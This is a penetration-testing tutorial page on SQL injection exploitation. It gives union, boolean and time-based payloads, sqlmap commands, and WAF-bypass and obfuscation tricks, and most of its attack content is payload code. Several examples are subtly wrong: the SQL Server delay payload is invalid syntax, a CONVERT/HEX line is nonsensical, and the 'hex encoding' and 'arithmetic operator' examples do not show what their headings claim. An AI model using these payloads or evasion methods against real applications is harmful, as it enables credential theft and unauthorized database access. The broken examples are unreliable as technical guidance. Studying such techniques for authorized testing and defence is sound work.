Skip to content

SQLi Exploitation

Web application penetration testers often encounter SQL injection (SQLi) vulnerabilities that require tailored exploitation techniques to extract data, execute commands, or bypass security controls. This section explores advanced exploitation methods for union-based, blind, and time-based SQLi, along with strategies to bypass web application firewalls (WAFs) and obfuscate payloads.

Union-Based SQLi Exploitation

Union-based SQLi leverages the UNION SELECT clause to combine results from multiple queries, enabling data extraction from the database.

Example Payloads

-- Basic data extraction  
' UNION SELECT username, password FROM users--  

-- Extracting multiple columns  
' UNION SELECT 1,2,3,4,5,6,7,8,9,10--  

-- Combining with string concatenation  
' UNION SELECT CONCAT(user, ' ', password) FROM users--

Tools: Tools like sqlmap automate union-based exploitation by detecting column counts and data types. Example command:

sqlmap -u "http://example.com/login" --technique=U --dbms=mysql

Blind SQLi Exploitation

Blind SQLi occurs when the application provides no direct feedback, requiring inference via conditional responses (e.g., HTTP status codes, time delays, or page content).

Example Payloads

-- Boolean-based inference  
' AND 1=2--  
' AND 1=1--  

-- Time-based delay (e.g., using `SLEEP()` in MySQL)  
' AND IF(1=1, SLEEP(5), 0)--  
' AND IF(1=0, SLEEP(5), 0)--

Tools: sqlmap supports blind SQLi with options like --technique=B or --time-sec. Example:

sqlmap -u "http://example.com/vulnerable" --technique=B --time-sec=5

Time-Based SQLi Exploitation

Time-based SQLi uses delays to infer query success, often via functions like SLEEP() (MySQL) or WAITFOR DELAY (SQL Server).

Example Payloads

-- MySQL delay  
' AND IF(1=1, SLEEP(10), 0)--  

-- SQL Server delay  
' AND IF(1=1, WAITFOR DELAY '00:00:10', 0)--

Tools: sqlmap automates time-based testing with --technique=T. Example:

sqlmap -u "http://example.com/vulnerable" --technique=T --time-sec=10

Bypassing WAFs

Modern WAFs often block common SQLi payloads using regex or keyword filtering. Attackers use obfuscation and encoding to bypass these checks.

Techniques

  1. Comment Obfuscation: Use inline comments to split payloads.
    ' /*!SELECT 1,2,3*/--
  2. Encoding: Encode payloads using hex, Unicode, or base64.
    ' AND 1=CONVERT(INT, HEX('48656C6C6F'))--
  3. String Manipulation: Use CONCAT, SUBSTRING, or CHAR() to bypass keyword detection.
    ' AND 1=1 AND ASCII(SUBSTRING((SELECT USER()),1,1))=83--

Obfuscation Methods

Obfuscation masks payloads to evade signature-based detection. Common approaches include:
- Arithmetic Operators: Replace OR with + or ||.

' AND 1=1+1--
- Case Statements: Use CASE WHEN to structure queries without standard operators.
' AND CASE WHEN (1=1) THEN 1 ELSE 0 END--
- Hex Encoding: Encode strings using hexadecimal values.
' AND 1=1 AND ASCII(SUBSTRING((SELECT DATABASE()),1,1))=77--

Key takeaways

  • Union-based SQLi exploits UNION SELECT to extract data, requiring precise column matching.
  • Blind SQLi relies on conditional responses, often requiring time-based or boolean inference.
  • Time-based SQLi uses delays to confirm query execution, leveraging database-specific functions.
  • WAF bypassing requires encoding, comment splitting, and obfuscation to evade signature detection.
  • Obfuscation techniques like arithmetic manipulation and hex encoding help evade automated detection systems.